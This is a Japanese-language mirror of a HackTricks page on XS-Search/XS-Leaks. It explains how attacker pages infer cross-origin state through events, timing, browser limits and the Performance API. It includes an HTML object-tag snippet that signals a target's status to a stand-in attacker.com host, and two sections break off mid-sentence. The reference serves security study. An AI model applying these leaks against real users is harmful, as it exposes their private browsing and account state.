mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
958 lines
102 KiB
Markdown
958 lines
102 KiB
Markdown
# XS-Search/XS-Leaks
|
||
|
||
 (1) (2).png>)
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||
今すぐアクセスを取得：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝**したいですか？または、**最新バージョンのPEASSをダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS＆HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
## **基本情報**
|
||
|
||
XS-Searchは、**サイドチャネル攻撃**を悪用して、**クロスオリジン情報を外部流出**させるための技術です。
|
||
|
||
この種の攻撃には、次の要素があります：
|
||
|
||
* **脆弱なWeb**：情報を外部流出させたいWeb
|
||
* **攻撃者のWeb**：攻撃者が作成し、被害者がアクセスするWeb
|
||
* **インクルージョンメソッド**：脆弱なWebを攻撃者のWebから読み込むために使用されるメソッド（window.open、iframe、fetch、hrefを使用したHTMLタグなど）
|
||
* **リーク技術**：脆弱なWebにアクセスした後、インクルージョンメソッドから得られた情報との間でWebの潜在的な状態を区別するために使用される技術。
|
||
* **状態**：被害者を区別するために脆弱なWebが持つ可能性のある2つの状態
|
||
* **検出可能な違い**：攻撃者が脆弱なWebの状態を判断するために試みる必要がある情報
|
||
|
||
### 検出可能な違い
|
||
|
||
脆弱なページの2つの状態を区別するために、次のことに注意することができます：
|
||
|
||
* **ステータスコード**。攻撃者は、クロスオリジンで**異なるHTTPレスポンスステータスコード**（サーバーエラー、クライアントエラー、認証エラーなど）を区別することができます。
|
||
* **APIの使用**。この検出可能な違いにより、攻撃者はページ間での**Web APIの使用**を検出することができ、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを推測することができます。
|
||
* **リダイレクト**。Webアプリケーションがユーザーを**別のページに移動**させたかどうかを検出することができます。これはHTTPリダイレクトに限定されず、JavaScriptやHTMLによってトリガーされるリダイレクトも含まれます。
|
||
* **ページの内容**。これらの検出可能な**違いは、HTTPレスポンスボディ自体またはページに含まれるサブリソースに現れます**。たとえば、これは含まれるフレームの数（cf. XS-Leak on Gitlab）や画像のサイズの違いなどです。
|
||
* **HTTPヘッダー**。攻撃者は、特定のHTTPレスポンスヘッダーの存在を検出し、その値を収集することができます。これには、X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなどのヘッダーが含まれます。
|
||
* **タイミング**：攻撃者は、2つの状態間に一貫した時間差が存在することを検出することができます。
|
||
|
||
### インクルージョンメソッド
|
||
|
||
* **HTML要素**。HTMLには、**クロスオリジンリソースのインクルージョン**を可能にするさまざまな要素があります。スタイルシート、画像、スクリプトなどの要素は、被害者のブラウザに指定された非HTMLリソースのリクエストを要求します。この目的のために使用できるHTML要素のリストはオンラインで利用可能です（[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)）。
|
||
* **フレーム**。**iframe**、**object**、**embed**などの要素は、攻撃者のページに直接他のHTMLリソースを埋め込むことができます。ページが**フレーミング保護を使用していない**場合、JavaScriptコードはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスすることができます。
|
||
* **ポップアップ**。**`window.open`**メソッドは、新しいブラウザタブやウィンドウにリソースを読み込みます。このメソッドは、JavaScriptコードがSOPに準拠したメソッドとプロパティにアクセスするために使用できる**ウィンドウハンドル**を返します。これらのポップアップは、シングルサインオンでよく使用されます。最新のブラウザバージョンでは、特定のユーザー操作によってトリガーされた場合にのみポップアップが許可されます。XS-Leak攻撃では、このメソッドが特に役立ちます。なぜなら、これにより、対象リソースに対するフレーミングとクッキーの制限が**バイパス**されるからです。新しいブラウザバージョンでは、ウィンドウハンドルを分離する手段が最近追加されました。
|
||
* **JavaScriptリクエスト**。JavaScriptでは、対象リソースに直接リクエストを送信することができます。このためには2つの異なる方法があります：**XMLHttpRequests**とその後継である**Fetch API**。以前のインクルージョンメソッドとは異なり、攻撃者は発行されるリクエストに対して細かい制御を持つことができます。たとえば、HTTPリダイレクトを自動的に追跡するかどうかなどです。
|
||
### リーク技術
|
||
|
||
* **イベントハンドラ**。イベントハンドラは、XS-Leaksの古典的なリーク技術と見なすことができます。さまざまな情報の源としてよく知られています。たとえば、**onload**のトリガーは、onerrorイベントとは対照的に、**成功した**リソースの読み込みを示します。
|
||
* **エラーメッセージ**。イベントハンドラの他に、エラーメッセージは**JavaScriptの例外**や**特別なエラーページ**として発生することがあります。エラーメッセージは、リーク技術によって直接スローされるなど、さまざまなステップで発生することがあります。リーク技術は、エラーメッセージに直接**含まれる追加の情報**を使用するか、エラーメッセージの**表示とエラーメッセージの不在との区別**を行うことができます。
|
||
* **グローバル制限**。すべてのコンピュータには物理的な制限があり、ブラウザも同様です。たとえば、利用可能なメモリの量はブラウザの実行中のタブを制限します。同様に、ブラウザ全体に対して強制される他のブラウザの制限も同様です。攻撃者が**制限が達成されたときを判断できれば、これをリーク技術として使用できます**。
|
||
* **グローバルステート**。ブラウザには、すべてのページが相互作用できる**グローバルステート**があります。この相互作用が攻撃者のウェブサイトから検出可能であれば、これをリーク技術として使用できます。たとえば、**History**インターフェースは、タブやフレームで訪れたページを操作することができます。これにより、**エントリの数**によって、攻撃者はクロスオリジンのページについての結論を導くことができます。
|
||
* **パフォーマンスAPI**。パフォーマンスAPIは、現在のページの**パフォーマンス情報にアクセスするために使用されます**。エントリには、ドキュメントとページによってロードされたすべてのリソースの詳細なネットワークタイミングデータが含まれています。これにより、攻撃者は**要求されたリソースについての結論を導く**ことができます。たとえば、一部のリクエストに対してブラウザがパフォーマンスエントリを作成しないというケースを特定しました。
|
||
* **読み取り可能な属性**。HTMLには、クロスオリジンで**読み取り可能な属性**がいくつかあります。この読み取りアクセスはリーク技術として使用できます。たとえば、JavaScriptコードは、window.frame.lengthプロパティを使用して、ウェブページに含まれるフレームの数をクロスオリジンで読み取ることができます。
|
||
|
||
#### **タイミングベースの技術**
|
||
|
||
以下のいくつかの技術では、ウェブページの可能な状態の違いを検出するためにタイミングを使用します。ウェブブラウザで時間を計測するためのさまざまな方法があります。
|
||
|
||
**クロック**：[performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、高解像度のタイミング測定を取得できます。\
|
||
攻撃者が暗黙のクロックを作成するために悪用できるAPIは多数あります：[Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API)、[Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel)、[requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)、[setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)、CSSアニメーションなど。\
|
||
詳細についてはこちら：[https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/)。
|
||
|
||
## XSinator
|
||
|
||
XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザを自動的にチェックするツールです：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
|
||
ツールには[https://xsinator.com/](https://xsinator.com/)からアクセスできます。
|
||
|
||
{% hint style="warning" %}
|
||
**除外されたXS-Leaks**：XSinatorの他のリークに干渉する可能性があるため、**サービスワーカー**に依存するXS-Leaksは除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksも**除外することにしました**。たとえば、Cross-Origin Resource Sharing（CORS）のミス構成、postMessageの漏洩、またはクロスサイトスクリプティングなどです。さらに、時間ベースのXS-Leaksも除外しました。なぜなら、それらは遅く、ノイズが多く、正確性に欠けることが多いからです。
|
||
{% endhint %}
|
||
|
||
 (1) (2).png>)
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化できます。\
|
||
今すぐアクセスしてください：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## イベントハンドラの技術
|
||
|
||
### Onload/Onerror
|
||
|
||
* **含有方法**：フレーム、HTML要素
|
||
* **検出可能な違い**：ステータスコード
|
||
* **詳細情報**：[https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu)、[https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||
* **概要**：リソースをロードしようとする場合、onerror/onloadイベントがリソースの読み込みが成功/失敗したことを示すため、ステータスコードを特定することが可能です。
|
||
* **コード例**：[https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))
|
||
|
||
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
|
||
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||
{% endcontent-ref %}
|
||
|
||
このコード例では、**JSからスクリプトオブジェクトをロード**しようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの**他のタグ**も使用できます。さらに、タグを**直接**インジェクトし、タグ内に`onload`と`onerror`イベントを宣言することも可能です（JSからインジェクトする代わりに）。この攻撃のスクリプトレスバージョンもあります。
|
||
```html
|
||
<object data="//example.com/404">
|
||
<object data="//attacker.com/?error"></object>
|
||
</object>
|
||
```
|
||
この場合、`example.com/404`が見つからない場合には`attacker.com/?error`が読み込まれます。
|
||
|
||
### Onload Timing
|
||
|
||
* **Inclusion Methods**: HTML Elements
|
||
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
||
* **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**を使用して、リクエストの実行にかかる時間を測定することができます。ただし、[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)など他のクロックも使用できます。
|
||
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 他の例は以下にあります：
|
||
|
||
{% content-ref url="xs-search/performance.now-example.md" %}
|
||
[performance.now-example.md](xs-search/performance.now-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
#### Onload Timing + Forced Heavy Task
|
||
|
||
このテクニックは前のものと同様ですが、**攻撃者**は**回答が肯定的または否定的**である場合に、**関連する時間を強制的に**かける**いくつかのアクション**も行い、その時間を測定します。
|
||
|
||
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
|
||
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
|
||
{% endcontent-ref %}
|
||
|
||
### unload/beforeunload Timing
|
||
|
||
* **Inclusion Methods**: Frames
|
||
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)を使用して、リクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
|
||
[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event)と[`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event)イベントを使用して、リソースの取得にかかる時間を測定することができます。これは、**`beforeunload`**がブラウザが**新しいナビゲーション**リクエストを要求するときにトリガーされ、**`unload`**がその**ナビゲーションが実際に発生する**ときにトリガーされるためです。この動作により、これらの2つのイベント間の時間差を計算し、ブラウザがリソースの取得を完了するまでにかかった時間を測定することができます。
|
||
|
||
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||
|
||
* **Inclusion Methods**: Frames
|
||
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
||
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用して、リクエストの実行にかかる時間を測定することができます。他のクロックも使用できます。
|
||
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
||
|
||
もしページに[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)が実装されていない場合、攻撃者はページとすべてのサブリソースがネットワーク上で読み込まれるまでにかかる時間を計測することができます。デフォルトでは、iframeの`onload`ハンドラはすべてのリソースが読み込まれ、すべてのJavaScriptの実行が完了した後に呼び出されます。しかし、攻撃者は`<iframe>`内に[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を含めることで、スクリプトの実行のノイズを排除することができます。この属性はJavaScriptの実行を含む多くの機能をブロックするため、ほぼ純粋なネットワーク測定結果が得られます。
|
||
|
||
### #ID + error + onload
|
||
|
||
* **Inclusion Methods**: Frames
|
||
* **Detectable Difference**: Page Content
|
||
* **More info**:
|
||
* **Summary**: 正しいコンテンツにアクセスした場合にページがエラーになり、任意のコンテンツにアクセスした場合に正しく読み込まれるようにページを設定できる場合、時間を測定せずにすべての情報を抽出するためのループを作成することができます。
|
||
* **Code Example**:
|
||
|
||
秘密のコンテンツを含む**ページ**を**iframe**内に**挿入**できると仮定しましょう。
|
||
|
||
被害者に、CSRFを悪用して例えば"_**flag**_"を含むファイルを検索させることができます。Iframe内では、_**onloadイベント**_が**常に少なくとも1回実行**されることを知っています。その後、URLのハッシュ部分の**コンテンツ**のみを変更して、**iframe**の**URL**を**変更**することができます。
|
||
|
||
例えば：
|
||
|
||
1. **URL1**: www.attacker.com/xssearch#try1
|
||
2. **URL2**: www.attacker.com/xssearch#try2
|
||
|
||
最初のURLが**正常に読み込まれた**場合、URLのハッシュ部分を変更しても**onload**イベントは**再度トリガーされません**。しかし、ページが読み込まれる際に何らかの**エラー**が発生した場合、**onload**イベントは**再度トリガーされます**。
|
||
|
||
そのため、**正しく**読み込まれたページとアクセス時に**エラー**があるページを**区別**することができます。
|
||
|
||
### Javascript Execution
|
||
|
||
* **Inclusion Methods**: Frames
|
||
* **Detectable Difference**: Page Content
|
||
* **More info**:
|
||
* **Summary:** もしページが**機密情報**またはユーザーによって**制御可能なコンテンツ**を返している場合、ユーザーは**負の場合に有効なJSコードを設定**し、各試行を**`<script>`**タグ内でロードすることができます。したがって、**負の**場合には攻撃者の**コードが実行**され、**肯定的**な場合には**何も**実行されません。
|
||
* **Code Example:**
|
||
|
||
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
|
||
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
|
||
{% endcontent-ref %}
|
||
### CORB - Onerror
|
||
|
||
* **Inclusion Methods**: HTML要素
|
||
* **Detectable Difference**: ステータスコードとヘッダー
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||
* **概要**: 攻撃者は、レスポンスが_CORB保護_された`Content-Type`（および`nosniff`）を返し、ステータスコードが`2xx`である場合にCORBが適用されているかどうかを観察できます。これにより、この保護を検出することで、攻撃者はステータスコード（成功またはエラー）と`Content-Type`（CORBによって保護されているかどうか）の組み合わせを**漏洩**させることができます。
|
||
* **コード例**:
|
||
|
||
攻撃に関する詳細情報については、詳細情報リンクを参照してください。
|
||
|
||
### onblur
|
||
|
||
* **Inclusion Methods**: フレーム
|
||
* **Detectable Difference**: ページのコンテンツ
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
||
* **概要**: id属性またはname属性から機密データを漏洩させます。
|
||
* **コード例**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||
|
||
**iframe**内で**ページ**を読み込み、**`#id_value`**を使用して、iframeの要素に**フォーカスを当てる**ことができます。その後、**`onblur`**シグナルがトリガーされると、ID要素が存在します。**`portal`**タグでも同じ攻撃を実行できます。
|
||
|
||
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||
|
||
* **Inclusion Methods**: フレーム、ポップアップ
|
||
* **Detectable Difference**: APIの使用
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
||
* **概要**: postMessageから機密情報を収集するか、postMessageの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
|
||
* **コード例**: `Any code listening for all postMessages.`
|
||
|
||
アプリケーションでは、[postMessageブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)を使用して他のオリジンと情報を共有することがよくあります。これらのメッセージを受信することで、**機密情報**を見つけることができます（`targetOrigin`パラメータが使用されていない場合は潜在的に）。また、メッセージを受信すること自体が**オラクルとして使用**されることもあります（ログインしている場合にのみこの種類のメッセージを受信します）。
|
||
|
||
 (1) (2).png>)
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。\
|
||
今すぐアクセスを取得してください：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Global Limits Techniques
|
||
|
||
### WebSocket API
|
||
|
||
* **Inclusion Methods**: フレーム、ポップアップ
|
||
* **Detectable Difference**: APIの使用
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||
* **概要**: WebSocket接続の制限を使い果たすことで、クロスオリジンページのWebSocket接続の数を漏洩させます。
|
||
* **コード例**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))
|
||
|
||
ターゲットページが使用している**WebSocket接続の数**を特定することができます。これにより、攻撃者はアプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。
|
||
|
||
ある**オリジン**が**WebSocket接続オブジェクトの最大数**を使用している場合、その接続の状態に関係なく、**新しいオブジェクトの作成はJavaScriptの例外を引き起こします**。この攻撃を実行するために、攻撃者のウェブサイトはポップアップまたはiframeでターゲットウェブサイトを開き、ターゲットウェブが読み込まれた後、可能な限り最大数のWebSocket接続を作成しようとします。**スローされた例外の数**は、ターゲットウェブサイトウィンドウが使用している**WebSocket接続の数**です。
|
||
|
||
### Payment API
|
||
|
||
* **Inclusion Methods**: フレーム、ポップアップ
|
||
* **Detectable Difference**: APIの使用
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
||
* **概要**: Payment Requestが検出可能であり、同時に1つしかアクティブにできないことを検出します。
|
||
* **コード例**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||
|
||
このXS-Leakにより、攻撃者は**クロスオリジンページが支払いリクエストを開始したとき**を検出することができます。
|
||
|
||
**同時に1つの支払いリクエストのみがアクティブ**にできるため、ターゲットウェブサイトがPayment Request APIを使用している場合、このAPIを使用しようとする**追加の試みは失敗**し、**JavaScriptの例外**が発生します。攻撃者は、定期的にPayment API UIを表示しようとすることでこれを悪用することができます。1つの試みが例外を引き起こす場合、ターゲットウェブサイトは現在それを使用しています。攻撃者は、UIを作成した直後にUIをすぐに閉じることで、これらの定期的な試みを隠すことができます。
|
||
|
||
### イベントループのタイミング <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||
|
||
* **Inclusion Methods**:
|
||
* **Detectable Difference**: タイミング（通常はページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||
* **概要**: シングルスレッドのJSイベントループを乱用して、ウェブの実行時間を測定します。
|
||
* **コード例**:
|
||
|
||
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
||
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
||
{% endcontent-ref %}
|
||
|
||
JavaScriptの並行性モデルは、[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)に基づいているため、**一度に1つのタスクしか実行できません**。
|
||
|
||
異なるオリジンのコードが実行される
|
||
### 忙しいイベントループ <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||
|
||
* **含まれる方法**：
|
||
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**：[https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||
* **概要**：スレッドのイベントループをロックし、イベントループが再度利用可能になるまでの時間を計測することで、ウェブの実行時間を測定します。
|
||
* **コード例**：
|
||
|
||
この技術の主な利点の1つは、攻撃元が別の起源の実行に影響を与えることができるため、サイトの分離を回避できることです。
|
||
|
||
{% hint style="warning" %}
|
||
実行タイミングでは、**ネットワーク要因を排除**して、**より正確な測定**を行うことができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで、ネットワーク要因を排除することができます。
|
||
{% endhint %}
|
||
|
||
### コネクションプール
|
||
|
||
* **含まれる方法**：JavaScriptリクエスト
|
||
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**：[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||
* **概要**：攻撃者は、1つを除くすべてのソケットをロックし、ターゲットのウェブをロードすると同時に別のページをロードします。最後のページがロードを開始するまでの時間は、ターゲットページのロードにかかった時間です。
|
||
* **コード例**：
|
||
|
||
{% content-ref url="xs-search/connection-pool-example.md" %}
|
||
[connection-pool-example.md](xs-search/connection-pool-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
ブラウザはサーバとの通信にソケットを使用します。オペレーティングシステムとその実行環境にはリソースが限られているため、ブラウザは制限を課さなければなりません。この制限の存在を悪用するため、攻撃者は次の手順を実行できます。
|
||
|
||
1. ブラウザの制限を確認します。たとえば、256個のグローバルソケットです。
|
||
2. 異なるホストへの255のリクエストを実行して、接続を単純にブロックすることで、255のソケットを長時間ブロックします。
|
||
3. ターゲットページへのリクエストを行うことで、256番目のソケットを使用します。
|
||
4. 別のホストへ257番目のリクエストを行います。手順2と3ですべてのソケットが使用されているため、このリクエストはプールが利用可能なソケットを受け取るまで待機する必要があります。この待機期間により、攻撃者はターゲットページに属する256番目のソケットのネットワークタイミングを取得できます。これは、手順3でソケットが解放されたことによってプールが利用可能なソケットを受け取ったため機能します。256番目のソケットの解放時間は、リクエストの完了にかかる時間と直接関連しています。
|
||
|
||
詳細については、[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)を参照してください。
|
||
|
||
### 宛先別のコネクションプール
|
||
|
||
* **含まれる方法**：JavaScriptリクエスト
|
||
* **検出可能な違い**：タイミング（通常はページのコンテンツ、ステータスコードによる）
|
||
* **詳細情報**：
|
||
* **概要**：前の技術と同様ですが、Google **Chrome**は同じ起源への**6つの同時リクエストの制限**を設けています。5つをブロックし、その後6番目のリクエストを発行することで、時間を計測し、被害者ページが同じエンドポイントに対してさらに**リクエスト**を送信してページの**ステータス**を検出することができます。**6番目のリクエスト**は**時間がかかり**、それを検出することができます。
|
||
|
||
##
|
||
|
||
 (1) (2).png>)
|
||
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。\
|
||
今すぐアクセスを取得：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## パフォーマンスAPIの技術
|
||
|
||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance)は、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)のデータによって強化されたパフォーマンスに関連する情報にアクセスできます。[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API)は、ネットワークリクエストのタイミング（期間など）を提供しますが、サーバから送信される`Timing-Allow-Origin: *`ヘッダがある場合、転送サイズとドメインの検索時間も提供されます。\
|
||
このデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries)または[`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName)を使用してアクセスできます。また、[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now)の差を使用して実行時間を取得するためにも使用できますが、これはChromeのフェッチではミリ秒しか提供されないため、より正確ではないようです。
|
||
|
||
このAPIは、リクエストの時間を測定するために使用することも、X-Frame-Optionsの使用を検出するために使用することもできます。ブロックされたページはChromeの`performance`オブジェクトに追加されないため、X-Frame-Optionsの使用を検出することができます。
|
||
|
||
### エラーリーク
|
||
|
||
* **含まれる方法**：フレーム、HTML要素
|
||
* **検出可能な違い**：ステータスコード
|
||
* **詳細情報**：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)（5.2）
|
||
* **概要**：エラーが発生するリクエストはパフォーマンスエントリを作成しません。
|
||
* **コード例**：[https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||
|
||
エラーになるリクエストは、パフォーマンスエントリを作成しませんので、HTTPレスポンスステータスコードの違いを区別することができます。
|
||
|
||
### スタイルリロードエラー
|
||
|
||
* **含まれる方法**：HTML要素
|
||
* **検出可能な違い**：ステータスコード
|
||
* **詳細情報**：[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)（5.2）
|
||
* **概要**：ブラウザのバグにより、エラーが発生するリクエストが2回読み込まれます。
|
||
* **コード例**：[https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||
|
||
前の技術では、ブラウザのGCのバグにより、リソースの読み込みに失敗した場合にリソースが2回読み込
|
||
### リクエストのマージエラー
|
||
|
||
* **組み込み方法**: HTML要素
|
||
* **検出可能な違い**: ステータスコード
|
||
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||
* **概要**: エラーが発生したリクエストはマージできません。
|
||
* **コード例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||
|
||
